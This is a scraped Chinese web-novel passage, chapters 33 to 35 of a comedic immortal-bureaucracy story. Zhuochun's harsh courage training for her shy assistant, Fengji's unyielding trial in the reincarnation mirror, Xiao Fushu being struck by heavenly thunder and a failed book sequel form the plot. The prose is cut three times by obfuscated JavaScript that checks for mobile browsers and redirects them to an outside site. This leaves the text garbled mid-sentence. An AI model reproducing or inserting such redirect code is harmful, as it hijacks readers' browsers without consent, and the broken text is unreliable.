“偶仙老师，那您想怎么做啊……” “我们来做针对胆量的特训！” “啊……” 灼春的特训方式非常简单粗暴，就是让麻惠良到各个救济院给孩子们讲故事，而且讲完故事必须跟孩子们互动。 灼春知道她容易多想、想多了还会破罐破摔的性格，所以完全不给她打退堂鼓的时间，每次都是带着她到现场，当场递故事书，做好一切准备，让其在责任心驱使下不得不硬着头皮上。 麻惠良一开始非常抗拒，次次都紧张得手脚冒冷汗。而当她试图打退堂鼓的时候，灼春则会预判似的堵住她所有逃跑路线，一个术法将她传送到讲台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950222|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，令她只能照着故事书念。 特训刚开始，麻惠良的表现非常糟糕，让坐在最后的灼春听了直摇头。现场的孩子们也不高兴，总嚷嚷着声音太轻听不见，久而久之就各自说起小话不再听故事，到后来，孩子们的声音压过讲课的声音，麻惠良则完全“消失”在了课堂上。 灼春可以出手整治纪律但她没有。 毕竟，这也是特训的一部分。 在救济院讲课结束，灼春仍不给她喘息的时间，每次都要麻惠良再准备一次，一对一给自己再讲一遍，同时还要接解答事后灼春扮演小朋友提出的刁钻问题。讲得不让灼春满意，还得重讲。 在极度的重压之下，社交弱势分子麻惠良终于进化了——至少可以以大家听得见的音量念故事。 灼春欣慰点头，特训方式也跟着进化。 原先是捧着故事书念故事，后来灼春就让她脱稿讲故事。等她习惯后，连故事都不给了，直接让她现场编故事或者和孩子们聊天聊够一个故事的时间。再然后，灼春从吉吾那儿讨来一车《镜中纪事二》，定下每日指标，让麻惠良到街上一对一推销，卖成了，钱归她自己，达不到指标的，就得她自己倒贴钱。 贫穷激发了麻惠良的潜力，起码倒贴钱的事儿没发生过。 如此这般，经过一系列的特训，灼春可以肯定，麻惠良的社恐已经被治好，下次资具考的面试不会栽跟头了！ ——意料之外，鸣桐忽地找上门，神情严肃地要与灼春谈话。 “怎么了？书卖不出去了？我以后没钱拿了？”灼春紧张地问。 “我问你，你最近怎么欺负人小麻了？”鸣桐神情凝重。 “小麻？”灼春诧异，“我没欺负她啊！这些天我还陪着她做胆量特训来着，她现在不是很好吗？” 鸣桐摇头：“小麻最近几乎每天都来我这买胃药，整个人还比以往更孤僻了，以前还会一个字一个字地回复，现在就剩下点头摇头了。” 灼春惊呼不可能：“我明明把她教好啦！她都能一个人成功推销话本，胆大程度几乎能和小程比肩啊！” 鸣桐感到奇怪。 于是两人背地里偷偷观察麻惠良，又各自出现与其交流，经过多次重复对照实验，她们发现一个惊人的事实——麻惠良性格更极端了，只有灼春在场才能口若悬河，灼春不在，便自闭得缩在角落与空气合二为一。 “……呃，虽然表现起伏比较大，但至少有满分的时候了？”灼春心虚狡辩。 “你是说，她迫于你的淫威勉强自己扭曲自我心理变态几近崩溃的时候？” “……” 鸣桐叹气：“灼春，你在伤害她。” ……嚯，这个罪名她可担当不起！ 此话一出，灼春都能想象出天道是怎样高举着两个惊天大闪电意欲把她炸成灰的了。 她一个激灵，连忙求鸣桐帮忙。 鸣桐：“好吧……但是在此期间，你不要出现在小麻面前了！心理阴影的形成可以只在一瞬，治好却需要成百上千倍的时间。小麻不只是你的助手，也是她自己，不要为了自己方便，就强迫别人变成你想要的样子，灼春，别忘了，你是仙者！” “我知错了我知错了……” 经此一事，灼春万不敢插手麻惠良的事，连带着情理所都不敢去了。就算程冰津七天的探亲假还没休完，有些事必须让麻惠良处理，灼春都不敢直接和她说话，布置工作不得不通过鸣桐传达。 诶，揠苗助长不可取啊…… 自己造的孽自己受着呗。 灼春提溜着自己的竹筒水壶久违地在街上逛了几天，竟觉得这样的闲暇叫人不适应—— 哦对了！凤脊还在轮回镜里待着呢！难怪怎么怎么不得劲儿，原来有活忘了干！ 灼春想着凤脊的损出，意气风发地来到轮回镜前，看看她历劫痛苦成什么样，不过轮回镜里的情况令她……意外？ 33. 标准答案 让灼春意外的第一件事是凤脊的选择。 引导轮回镜运行的灵盘是灼春设置的模板，既然是模板，那么就有一套基础的逻辑支撑模板往下走，简称标准答案。标准答案的设置是灼春根据常识推断设置的，比如饿了要吃饭，渴了要喝水，都是一般人会有的选择。 但是，仙者虽然由普通人修炼而成，但都走到飞升这一步了，哪怕大部分情况下的作为还符合常理，某些方面的思维言行上多少会有超常表现。比如，去买某家铺子的肉包但是肉包卖完了，新的出炉需要等很长时间。正常人大概会选择买其他口味的或者到别的地方看看有没有肉包买，稍微出格点的，会选择不吃。若换成仙者，像是鸣桐，也许会选择等待，不论多少时间都要等老板做出新的肉包；若是吉吾，很可能看中肉包热卖的商机，和老板商量做大做强的事宜；若是小扶疏，八成会一气之下自己买来各种材料自己动手做肉包…… 因此，在灵盘的设置上，除了标准答案，灼春还另外准备了几份预案尽力囊括所有选择。所以仙者们渡劫，大部分能按照灵盘进行，偶有出格跳脱预案的，灼春也来得及补救，可是凤脊…… 太标准了吧？ 凤脊在相睦会是最不融洽的异类，灼春本以为她的渡劫会挑战认知，起码不亚于小扶疏的变态，但是她——居然每一步都在标准范围内，毫不出格？ 天降巨富，便挥霍享受；飞来横祸，便啼哭求生；生活贫困，便寡欢抱怨……一举一动，比模板更标准。 照理说，如此省心的渡劫，灼春可以轻松了——这就是第二件让她意外的事了。 灵盘内所有的劫难，凤脊全盘接收，但是其心境却没有丝毫变化。 其他仙者是树木，劫难是不同的土壤与水源，将树木栽种到不同地方便会吸收水与土壤中不同的养分令自己更加茁壮；而凤脊是石头，不管被埋在多臭的土里，浸在多苦的水中，她就只是一块沾了泥土、苦水的石头，没有任何成长，别说成玉，就连美石都凿不成。 灼春严肃地关注着轮回镜中的凤脊，百思不得其解。 为什么呢？明明她也对劫数有反应，感到痛苦，为什么就是不达心底呢？就仿佛她与身边的一切都是表面羁绊，实际上心似浮萍什么都不怀留恋一样…… ——“冷漠”。 这是灼春想到的唯一一个合适凤脊的形容词。 “……” 灼春拧着眉头捂着嘴。 疑惑的同时她第一次感到了危机。 不妙啊……这样下去别说提升力量了，能不能保住现有法力都是问题啊…… 沉默许久，灼春取下了镜上所有灵盘，重新放入空白灵盘，撸起袖子坐到轮回镜前开始谨慎操作。 从某种方面来说，凤脊确实很难办，都逼她创造一个专门的新模板了。 ——问题来了，要怎样才能让苦难攻破凤脊的内心呢？ 灼春把自己能想到的方法都尝试了一遍，情节上包括国破家亡、横刀夺爱、理想破灭，感情上包括亲情、友情、义情、爱国情……但结果如出一辙。 灼春不得不重复观看凤脊已经经历过的生活，期望从中找到突破口——可是何其困难？空心的牵线傀儡怎么可能有所触动？ 凤脊…… 凤脊…… 凤脊！！ 灼春疯狂揉头。 真不知道这空心人当初是怎么通过天道考验成为仙者的！这种人能不能称得上人都得另谈吧！！天道你在干什么！！ ——呼……冷静……这不也侧面说明天道很公平，所有人都有机会成仙吗？ 成仙？ 一丝灵感闪过，灼春懵懵懂懂地抓住了一点尾巴虚影。 什么人都有机会成仙，但能通过天道三道试炼的人，绝不可能是叫人都算不上的家伙，一定有哪里打动了天道，一定有可以触碰的内心…… 对！她现在要做的就是找到突破口！ 灼春打起十二万分的精神，死死盯着凤脊的过去来回反复观看，不错过任何一个细节—— 灼春正闷头看第八遍，屋子里忽地起了一阵大风，令她不得不眯起眼睛抬手挡风。 她记得自己没开窗啊哪儿来的风？ “灼春！你给我说清楚这是怎么回事！？” 小扶疏怒冲冲地携风而来，啪的一下把一本书砸在灼春身边。 灼春一激灵，小心翼翼边捡书边问小扶疏发什么疯——看到书名的一瞬她忽地升起不妙的感觉。 这是《镜中纪事二》……糟了，光顾着躲避天道，忘了…… 灼春：“呃……” 小扶疏指着她，怒容满面：“你以为改个名字改个家世改个背景我就认不得了吗？这分明就是我和——” ——的故事。 霹雳一声雷，把小扶疏劈得外焦里嫩，把他口中的那个名字劈散了。 灼春震惊。 小扶疏站稳身形，想说话，但一开口就是一股呛人的白烟。 小扶疏：“咳咳咳……我没事！我今天就是来质问你的！谁都不能阻止我！天道也不例外！” 灼春：“……” ……谁关心你有没有事啊，她只是担心自家屋顶罢了——哎哟，屋顶有了个洞，还好不算大，回头补补就行，就是累人了点。 “我问你，我家——” 小扶疏才开口，轰隆一声雷，两人粗的雷电从屋顶原来那个洞再次贯穿，裹挟着碎石裂瓦直直打在他身上，刺眼的白光足足持续半分钟。 灼春看着看着，眼角渗出了晶莹的泪水。 屋顶的窟窿……越来越大了…… 这得费她多少钱修理啊！怎么不干脆把她屋顶劈没搞个露天宿舍啊！ 黑得只有人形轮廓的小扶疏在雷击过后摇摇晃晃地半跪在地上，以臂撑地，咬牙道：“你以为这样本仙就会被吓退么？呸！你越不让我说我越要说！我和——” 灼春：“！！” 妈耶这兔崽子有毛病吧！真想把她家炸成露天的啊！不是自己家不心疼是吧！？ 眼见着小扶疏又要把天雷引来，灼春忙飞起一脚把他当皮球踢了踢到屋外，时间把握刚刚好，黢黑的人形物方落地就与天雷第三次亲密接触——这次接触的力道与时长一同翻倍。 灼春蹲坐在门槛上旁观，啧啧摇头，直到天雷结束，她才抱臂上前，踢了一脚地上的一滩黑灰。 灼春：“喂，还活着吗？能说话？” “……呵，要我死，还没这么容易！”地上的黑灰如此说道。 “哦，那你起来啊？” “……等会，恢复还需要点时间。”小扶疏忽地暴怒，“怎么打我的天雷特别狠！以前没听说是这种程度啊！它针对我！” 灼春蹲在小扶疏脑袋边，趁机戳他头：“可能是因为你最不尊重它？” “……” “话说，你长点心吧，轮回镜中的事就别提了，你不疼吗？” 小扶疏不服气：“那你凭什么能说！那是我——” “哎哎哎！算我求你了！别说那个名字了好吗？你不怕疼我怕被吓死！你又不是引雷针，别招雷了成不？”灼春把小扶疏的脑袋往地里摁了一把，物理闭嘴，“你没见我把能改的信息全改了吗？不然天道怎么能容我透露轮回镜中的故事？我没猜错的话，你也就是对这个故事感到熟悉，所以即便看到整个故事也不知道你们的结局到底如何是吧？” 小扶疏挤出头，侧眼看她，说：“所以呃！——呃，‘她’最后怎么样了？” “不能说。” “这有什么不能说的！我们都是知情人，说两句还怕这怕那吗！这里又没有外人！”小扶疏语气激动，即使被雷劈得动弹不得，身子还是因为情绪颤动起来。 灼春翻白眼：“那请问您现在是自愿趴在土里做美黑的么？” “……”小扶疏愤愤道，“灼春！你是不是忘了自己还欠我一个人情！我现在就要你还！” “哈？我什么时候欠你人情了？” “就是你和吉吾忽悠凤脊，让她以为自己要被派去边城那次！要不是我拒绝这个任务，她能被你们忽悠得了！？” 哦…… 灼春想起来了，小扶疏的确是过来多管闲事嘚瑟过一回…… 可是那不是他自己非要凑进来的吗？怎么还成自己欠他人情了？这么碰瓷儿啊？ “……唉算了算了，别躺我这碍事了，我带你去老大那儿疗伤——钱你自己出啊！” 灼春不耐烦和小扶疏废话，施了一个悬浮术，就让小扶疏飘在自己身后，然后一起去找林鸿。 路上，灼春打了个哈欠：“你就庆幸我不是吉吾吧！否则光带你去治病的跑腿费就能把你逼个倾家荡产！” “如果倾家荡产就能知道——”小扶疏一顿，“‘她’的下落，我心甘情愿！” 灼春轻嗤：“那你去找吉吾呗，为了钱，没准她还真能帮你想出办法来呢。” 很快到了妙回堂，刚巧林鸿在，于是灼春就把黑成一坨的小扶疏交接给了林鸿。 了解事情始末后，林鸿沉着脸让小扶疏去后堂泡药浴，接着长叹一声，让灼春收敛点。 林鸿：“你家百捷不在，这些天就消停会吧。” 灼春糊涂了，她最近干什么了又？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灼春生气：“我设置的劫难当然是他们能承受的了！我要是不管不顾一股脑堆上去，他们不得全灰飞烟灭了！你可以污蔑我的能力，但不能侮辱我的工作态度！” 灼春两手一甩，破罐破摔：“那你正正经经说，只要我保证进了轮回镜的仙者能完好地出去，其余法力、能力什么都不要管，那我就听你的！以后再也不给他们设什么劫难了！” 林鸿当即否认自己没那么说。 “可你现在说的话，话里意思就是这样！！”灼春气得直哼哼，“哼……当我愿意花这个精力吗？只要看着别人进去再看着他们出来，这工作倒不难了，要不是老娘认真负责，谁愿意给自己找麻烦啊！好心当成驴肝肺……” 林鸿好声好气地劝：“我知道，你是在回应大家对‘司劫’的期待，你工作态度非常好……” “啊！” 灼春突然叫了一声，林鸿的话被迫打断。 林鸿吃惊问她怎么了，灼春一拍脑门，似是自言自语：“我怎么没想到，还有这个方向！哎哟我真是忙糊涂了……” 灼春往外走了两步，想到还没和林鸿告辞，于是回头和她打了声招呼才紧赶慢赶地离开。 灼春前脚跑没影，小扶疏后脚就从后堂跌跌撞撞地追出来，黑黢黢劈焦的血肉还没彻底恢复，又染了一身青黄的药汁，看着不仅不美观，还令人反胃。 林鸿将小扶疏拉住，带回后堂重新浸入药桶，气道：“跑什么？你现在这样，不好好疗伤，跑出去耽误大家做事吗？” 小扶疏在桶里扑腾着要出来。 “区区小伤！放着不管它自己会好的！你别拦着我！我要找灼春问个清楚！” “问什么？轮回镜中的事已经过去了，往事如烟，出了轮回镜，镜中一切便随风散了！你就是问了，畏于天道，灼春还是什么都不会说的！何苦自取其祸！” 小扶疏停住，忽地一个猛子扎进药桶，几息后，水面上咕嘟咕嘟浮起一连串气泡，传出他零零碎碎的声音。 “……可是，我好不容易知道她的消息……我欠她的……怎么能当作无事发生……” 林鸿沉默许久，叹息：“那只是一个故事而已，经过多人的运作，早就不是原来你知道的那个了，你觉得你看见了她，其实那只是虚相。” “不，是真的。”小扶疏露出半个头，目光炯炯。 林鸿：“……” 林鸿：“好，就算是，那你能怎么办？再进轮回镜一遍？” 小扶疏看向她：“没必要。我既然能从轮回镜离开了，她也能。我才不做刻舟求剑的傻事。” “……啊？”林鸿不理解他的话。 什么意思？小扶疏念念不忘的那个人从轮回镜里出来了？不会脑子被雷劈坏了吧？刚才检查的时候没发现脑子有问题啊？ 34. 后继无力 “什么意思？你见到你想找的那个人了？”林鸿问。 小扶疏白眼一翻：“要真见到了我还用得着对灼春低声下气？只是我确认了，‘她’，肯定在这里！” “……小扶疏啊，你应该知道轮回镜里的世界和我们所在的世界不一样吧？”林鸿好言提醒。 “是也非也！”小扶疏固执道，“都说轮回镜里的世界是假的，我看不尽然。空穴不来风，要凭空造出一个世界多难！轮回镜再怎么样都只是一件器物，哪有那么强的意识！所以啊，它肯定是从我们所在的现实世界提取了真实信息才造出历劫的世界的！” “啊……所以你的意思是，你觉得那个人有原型，你要找的是那个原型？”林鸿隐约明白他的想法了。 得到小扶疏赞许的眼神，林鸿无言以对。 她知道这孩子成长环境不大好，思维有些偏激——可她以为过了这么些年早就后天改好了，结果还是一根筋？ 林鸿深呼吸：“好，我们捋捋……就算你的推断正确，轮回镜的设置真借用了现实世界的相关信息，而你要找的那个人真有原型，并且让你接触到了那人——请问有何意义？人家根本不认识你，没有那段记忆，就不是你要找的那个有共同经历的人！” 小扶疏不以为然地冷哼：“那又如何？我权当她因故失忆了。只要她还是她，那她就是她！” “……既然你都这么认为了，大可自去寻人，找灼春何干？她最多知道知道镜中的故事，对你寻人完全……”林鸿一怔，蹩起眉头，“小扶疏，你该不是想从灼春那了解所有你不知道的经历后，篡改那人的记忆吧？私自篡改他人记忆是违反相睦会规定的，你要真敢这么做，我立马通知慎刑殿捉你归案！” 小扶疏哼声：“我还不至于那么蠢。放心，我只是问灼春后来发生了什么，等我找到‘她’，就把这个故事原原本本告诉‘她’，仅此而已。” 听了他的解释，林鸿并未放下心，道：“有天道约束，灼春不会泄露任何信息的，你也别有打搅她的心思，否则我……直接通知扶疏。” 没犯事的情况下她不能对小扶疏有具体约束行为——但她管不了他，还不能找个能管他的人吗？ 小扶疏愤愤地盯着林鸿，骂她幼稚，堂堂掌舵，一大把年纪了还告黑状，不知羞。 林鸿全不在意，大局为重，为此使点手段又如何？ 最终两人和平达成共识，小扶疏不去骚扰灼春，林鸿不许妨碍他找人。 林鸿：“当然，前提是你不许违法乱纪！” “废话。” 林鸿点点头。 这样算是控制住了事态。 是不是有这样一个人仍为猜测，而能不能找到这样一个人更是希望渺茫。再者说，有天道架在中间，她不信小扶疏能在一无所知的情况下惹出祸来——顶多就是精力分散，工作上怠慢。以小扶疏的急性子，最多找个……一个月？反正不出一年，没发现蛛丝马迹，他就会失去信心直接放弃的，到时候又能收心工作了。 “……嘁，不找灼春就不找灼春，无非就是相认时麻烦点，要去藏宝殿拿个能制造幻境的法器，让她从头到尾再经历一遍……” 小扶疏泡着药浴小声嘟囔，心里有事的林鸿没能听见。 小扶疏在妙回堂治了一天，离开的时候精神抖擞斗志昂扬，仿佛要干什么大事。 林鸿隐隐觉得不安，思虑再三，还是与慎刑殿的夏掌刑打了声招呼，让对方关注一点小扶疏。 此事告一段落，林鸿想起会中关于“轮回镜渡劫”的议论，脑门青筋突突跳。 虽说她劝灼春宽待历劫者，可她心里并不完全是这个立场。在这一点上，她与灼春的想法一致。 说起来，现在的仙者是该修修心了，外强中干，万一出现个攻心的灾怪，妥妥的一网打尽。大家成为仙者的时间长了，安逸久了，连意志都开始动摇了。 林鸿觉得，她作为相睦会的领导者，必须帮助大家提高心理承受能力！ 具体举措就是，开一个仙者们的“勿忘初心分享会”，主题就是回忆当初如何通过天道第三轮“静问心”关卡成为仙者的，帮助大家明心见性、贯彻始终。 灼春听说这件事的时候，分享会已经结束了，据说参加的仙者九成九都是红着眼眶离开的，之后工作效率大幅提升——尽管打鸡血的状态只持续了短短一两天。 灼春以为自己忙于给凤脊司劫，忘了参加分享会，于是惊慌地去找林鸿，却听见对方说压根没通知到她。 灼春恼了。 什么意思？因为她工作太认真，司劫任务完成得太好，所以她被开除仙者籍了？要辞退她明着说，用不着暗戳戳阴阳她！ “你别多想。” 林鸿连忙向她解释开分享会的目的。 “……这次会议本就是为了提醒仙者同僚们注意心智稳固的，你没有这方面问题，不必参加。而且现在不少仙者见你就崩溃，要是叫上你，分享会如何能进行下去？更别说你现在工作繁忙，抽不出时间过来。几番思量，这才没有通知你。” 解释合理，灼春立刻点头表示理解。 她最近刚找到凤脊的突破口，夜以继日地盯着，好几夜没合眼了，这时候喊她参加什么分享会，估计她还是会翘掉。 灼春：“还好你没叫我，不然我还真腾不出时间……为了凤脊那家伙，我熬了好几天做新的灵盘呢！”所以现在才能稍微松口气。 话音刚落，她眼前一黑，脚一软，半坐在地上手脚微颤。林鸿扶她的时候下意识搭上了脉，当下皱眉。 林鸿：“仙者不会死，不代表你可以这么折腾自己啊！你瞧瞧你这身子，换做普通人够死三次了！” “嘿嘿……还好我以前够努力，所以如今可以自由飞翔。”灼春坐在地上缓了一会儿，笑嘻嘻地站起来。 “……”林鸿无奈，“你不会死，难道还不会痛吗？我先说好，仙者的自愈速度没那么快，以你现在这个作法，最多两个月，你就得在家躺尸，等几年后自愈重生了才能活动。” “啊？不至于吧？”灼春有点害怕。 躺尸几年？那她工作怎么办？司劫这先不提，情理所那边小麻小程还不能独当一面，她怎么敢安心躺尸啊？ 灼春哆嗦着拉起林鸿的手求对方救救自己：“老大！你可不能见死不救啊！我左有一会所的仙者等我司劫，右有两个咿呀学语的小执司等我教导呐！虽然我没钱看病——哎不对？我现在有钱呢！” 突然想起自己刚赚了一票大的，灼春一转态度，麻溜地坐到案前，翘起二郎腿嘚瑟道：“姑奶奶有的是银子，区区诊金，不在话下！大夫看病吧！” 林鸿无语，但还是给她看了诊，开了药。 林鸿写医案的同时与她说话，嘱托她如何用药如何调理。 “……本来呢，千年人参效果更好，但它的价格太贵，我就给你挑了个温和的，用量补效。” 灼春一看药方，当即推了回去，豪气道：“区区千年人参，开！还有什么珍贵但有效的药，尽管开！姑奶奶有的是钱，再不是以前那个穷得看兽医的穷光蛋了！” 林鸿：……嚯，小人得志。 反正花的不是自己钱，自己还能赚钱回来，林鸿便顺着灼春的要求往好了开方子。结果灼春看到账单时差点没惊得掉凳。 灼春抖落两下账单，瞪圆了眼：“老大你学坏了！怎么跟吉吾似的坑人银子！账单还能瞎写的啊！这这这……我这辈子都没见过这个数量的钱！” “药价单白纸黑字写在墙上呢，不信你自己算。” 灼春不死心地拿着药方去对一墙的药价单，最终绝望地发现，林鸿不仅没坑她，还颇为善良地抹了零。 “……” 灼春垂下头，识时务地求林鸿重开一张符合自己经济状况的药方。 林鸿：“不嘚瑟了？” 灼春点点头。 “知错了？” 又点点头。 “嗯，那说说你的心理价位吧。” 灼春忖度了下，觉得要对自己好一点，于是报了一个数字，这是她自己的全副身家。 林鸿听了后，也不难为她，当真按着这个价思忖着开了相应的单子，并配好了药包。 灼春回到家，喝着昂贵又难喝的药汁，感受着空空的钱袋，有一种自己被扒光了的凉飕飕的感觉。 明明富起来也就那么几天，现在不过是回到常态，怎么这么不习惯呢？ 药苦心更苦。 灼春连灌自己三竹筒的水才把嘴里的苦味压下去，可心里的苦怎么压？ 唉…… 找吉吾拿钱吧！ 金钱殿的仓库里，吉吾正在指挥大家把一堆堆的包裹搬出去。找到吉吾，灼春当即小跑着过去要钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950224|160893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “什么钱？”吉吾愣神。 灼春：“《镜中纪事二》的钱啊！” “那钱不是早给你了吗？” “那是版权费，还有后续盈利的分红啊！”灼春激动地苍蝇搓手，“我听鸣桐说了，《镜中纪事》的分红她隔三差五就能拿，那我这《镜中纪事二》收入肯定也不会差吧？” 吉吾：“……” 见对方一言不发，灼春升起不安。 “姐姐，做人要厚道，商人做重要的是诚信，你该不是想昧我的钱吧！？你要真这么干我们以后合作的路就断了嗷！” 吉吾叹气：“我想昧你的钱，前提也是你要有钱啊……这么说吧，‘二’卖不出去，没有分红。” “怎么可能！”灼春惊呼，“之前不还卖得可好了吗？怎么可能卖不出去！怎么可能没有分红！？” 搬运包裹的人一个没注意撞到吉吾，吉吾趔趄两步，皱了眉，但也没为难人，摆摆手让人走。 “分红没有，负债很多，债你分不分啊？” 见灼春意料之中地坚定摇头，吉吾撇嘴。 她环视一圈道：“你看这仓库里这么多东西，其实都是我给《镜中纪事二》准备的物料周边，现在卖不出去砸手里了，库里还堆不下，只好送去藏宝殿那儿了。跟你说实话吧，一开始的大卖只是借了上一部的光形成的假象，很快市场就跟不上了。” 灼春仍不敢相信：“可是怎么会这样？一开始不是还挺好的？咱们的配置和上次一样，甚至更加精进了呀！” “少了百捷的反馈。”吉吾淡淡道。 “少了……” 灼春诧异：“这算什么？反馈有这么重要？还不是一样发文？” “因为要，讨、好、市场啊——”吉吾疲惫地拖长调子。 灼春：“……” 她不懂市场，只想拿钱。 不过既然吉吾说百捷重要，那么百捷一定不会无关紧要。 灼春给她出主意：“既然需要百捷，那你给她发信息啊！我们把文章传给她看，让她提建议！” 吉吾面露嫌弃：“噫，说得轻巧，百捷在边城，相距十万八千里，传一本书又不是传一个字，本来距离远传信就很耗法力了，还传那么多内容，把我灵台掏空也传不到，想累死我吗？” “……不要说那么像凤脊的话！”灼春心梗，“你是吉吾啊！爱财如命的吉吾啊！跟金钱比起来，掏空灵台算什么！钱重要还是法力重要！” “……法力诚可贵，金钱价更高。” 灼春点头，这才像她嘛！ 吉吾：“若为生命故，二者皆可抛。” “嗯……嗯！？这是你该说的话？不符合你的性格啊姐！”灼春怔住。 “一顿饱和顿顿饱我还是分得清的。”吉吾眼神游移，“你要是着急，不如自己给百捷传信呗。” 灼春：“……” 灼春：“那什么……我给人司劫很耗法力的，地主家也没有余粮了啊，何况我等小贫民……” 吉吾耸肩：“那就只能等她回来再说咯。” “可是百捷什么时候回来啊？” 吉吾沉吟片刻：“小乔他们今天刚回来，据她说边城的事处理差不多了，战神几个人留下在善后……应该快了吧？最多两个月？” “两个月！？”灼春惊呼，“什么办事效率啊！！怪不得老大要派小乔执司救场呢！干什么吃的，效率太差！” “嗐，别这么说。灾怪又小又灵活，还有各自擅长的能力，战神他们没法一网打尽也情有可原。”吉吾为战神他们辩解。 灼春想，两个月的钱包空空太难熬，两相斟酌，还是决定给百捷传信。 然而，当她施法传信，灵台里的法力耗费大半，进度到百分之九十九的时候突然卡断，不光消息没传到，法力也白费了。 吉吾就在她身后亲眼看着法术被截断，恍然道：“看来边城那里吞吃传信的灾怪还没被捉啊……偶仙，算了吧，如果是那种类型的灾怪，我们没法传信给百捷的。” 灾怪截断传讯法术，并吞吃了其中的法力。 灼春作为当事人，没人比她更清楚自己的法术是怎么被破解的，只是…… 她的法力她的钱！！ 可恶！龙缨为什么不努力一点！传讯法术为什么不能高级一点！世界为什么不能和平一点！她为什么不能富有一点！！ 35. 鸦飞鹊乱 “要不我再写本新的？”灼春喃喃。 话一出口，她跟被鼓励了一般，越想越有底气。 对啊！再开一本嘛！ 扑了不要紧，少赚一点不要紧，蚊子再小也是肉，积少成多还是能裹腹的呀！ 吉吾紧张阻拦：“等下！你注意发行成本！信用也有隐性成本的啊！再扑一本我得亏到告老还乡了！” 但是灼春没听她说完就跑没影了。 吉吾：……这家伙才适合当风神吧？ 灼春一边想选哪个故事，一边又想该找哪个倒霉蛋帮自己承担编大纲时出现的天雷。 老熟人不能选，伤感情，可是不熟的人也不好坑，容易玩崩。 她忽地想起慎刑殿的夏掌刑，只一瞬，又自己否认了。 不行不行，夏至凛没成仙，万一受不住天雷出事怎么办？工作上的职务、修仙者的构成……不管是哪种层面，她都赔不起。 小扶疏……算了，他最近有点狂躁。 扶疏……算了，小扶疏会杀了她的。 凤脊……算了，在轮回镜里渡劫呢。 吉吾……算了，经济下行会被坑得倒贴钱…… 灼春把能用得着的人想了一圈也没找到合适的，而她不知不觉竟走到了鸣桐的生灵殿。 鸣桐…… 当然，鸣桐心善，只要她提要求，对方一定会答应——可她就是因为这个才不想这么干！ 怎么可以让别人因善良吃亏呢！ 可是…… 灼春想到小扶疏被天雷劈的那个样子，一阵瑟缩，本就不大的良心慢慢慢慢萎缩到将近没有。 死道友不死贫道…… 最终灼春还是决定找鸣桐。 她到达生灵殿之后，将合作写书的新计划全盘托出，同时也交代了需要鸣桐帮忙读大纲的需求。如她所料，鸣桐略作思考便应下了。 灼春激动地给她一个熊抱，而后迅速开始抄家伙写字。 鸣桐等待她写大纲的时候，乔江山意外地出现在生灵殿。 灼春立马坐不住了。 为了生命安全，她绝不能在司劫之后的近期内和相应仙者见面，都快形成条件反射了。 小乔执司来生灵殿干嘛？她不是刚回来吗？出差刚回来不休息……噫！该不是找她报仇吧！？ “小乔，这么快就来了？不多休息一会儿？” 鸣桐微笑着打招呼，乔江山本想接话寒暄，但笑容才展开一半，附近某个仙者慌乱的动作吸引了她的注意，接着，她的笑容便凝固了。 乔江山冷脸：“……我放心不下宠物，想着还是早点来接比较好。” 宠物？噢噢对了，鸣桐的生灵殿还有寄养宠物的业务来的！估计是小乔执司找她渡劫前就把自家的宠物寄养在鸣桐这了。 灼春反应过来，在乔江山无悲无喜地恐怖凝视的呲溜一下躲到鸣桐身后赔笑问候，然而对方只回以沉默。 灼春：“……” 咩啊，敷衍都不敷衍一下，这她多尴尬！ 于是又往鸣桐身后缩了缩。 “灼春，你这样我没法把小乔家的孩子送出来。” 鸣桐无奈，最后让拥护在自己身侧的小伙伴们帮忙去内室叫宠物。 等待的时候，鸣桐招呼着二人坐下，笑着询问乔江山边城的状况以及经历，但是对方根本没心思回答，只是胡乱回答两句，从一开始就一直死盯着灼春，害得躲去写字的灼春躲也躲不安宁，头顶像被烧出两个窟窿眼。 “对不起我错了！你放过我吧小乔大人！” 受不了被这样盯着，灼春扑通一声跪在地上五体投地。 鸣桐被她突然的行为吓了一跳。 乔江山脸色稍微和缓：“灼春司劫尽忠职守，何错之有？这样突然折煞我了，快快起来。” “我错了我真的错了大错特错……”灼春一边起身一边反省自己的过错，“对不起我不该慌张，害得你被传送卷轴戳了眼睛——一定很疼吧？哎我想想都眼睛疼……” 乔江山脸色一变：“你是因为这个才道歉的？” “那不然还有什么？” 灼春挠挠头——忽地一张血盆大口从天而降衔住她半具身子。 灼春：“……” 灼春：“啊啊啊啊！！！！鸣桐！！这是你哪个朋友！它什么癖好啊！怎么还吃人！！” 鸣桐：“呃……这是小乔家的宠物，我管不了……” 鸣桐转向乔江山想让她控制一下现场，却发现对方猛地喝了一大口水，含在嘴里鼓成个球，然后指指自己，表示正在吞咽中说不了话。 “……”鸣桐支支吾吾地安抚灼春，让她别紧张，“等小乔喝完嘴里的水你就能出来了……那个……你放心，它没有牙伤害不到你！” 